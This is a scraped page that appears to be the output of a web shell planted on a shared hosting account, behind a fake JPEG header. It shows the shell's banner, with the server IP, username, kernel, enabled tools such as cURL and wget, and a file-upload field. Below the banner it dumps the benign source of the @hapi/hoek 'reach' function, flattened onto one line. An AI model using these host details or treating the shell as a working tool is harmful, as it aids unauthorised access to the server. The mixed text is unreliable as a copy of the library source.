ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.135 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/nodevenv/public_html/dp_taxhelplines/14/lib/node_modules/@hapi/hoek/lib/ |
Upload File : |
'use strict'; const Assert = require('./assert'); const internals = {}; module.exports = function (obj, chain, options) { if (chain === false || chain === null || chain === undefined) { return obj; } options = options || {}; if (typeof options === 'string') { options = { separator: options }; } const isChainArray = Array.isArray(chain); Assert(!isChainArray || !options.separator, 'Separator option is not valid for array-based chain'); const path = isChainArray ? chain : chain.split(options.separator || '.'); let ref = obj; for (let i = 0; i < path.length; ++i) { let key = path[i]; const type = options.iterables && internals.iterables(ref); if (Array.isArray(ref) || type === 'set') { const number = Number(key); if (Number.isInteger(number)) { key = number < 0 ? ref.length + number : number; } } if (!ref || typeof ref === 'function' && options.functions === false || // Defaults to true !type && ref[key] === undefined) { Assert(!options.strict || i + 1 === path.length, 'Missing segment', key, 'in reach path ', chain); Assert(typeof ref === 'object' || options.functions === true || typeof ref !== 'function', 'Invalid segment', key, 'in reach path ', chain); ref = options.default; break; } if (!type) { ref = ref[key]; } else if (type === 'set') { ref = [...ref][key]; } else { // type === 'map' ref = ref.get(key); } } return ref; }; internals.iterables = function (ref) { if (ref instanceof Set) { return 'set'; } if (ref instanceof Map) { return 'map'; } };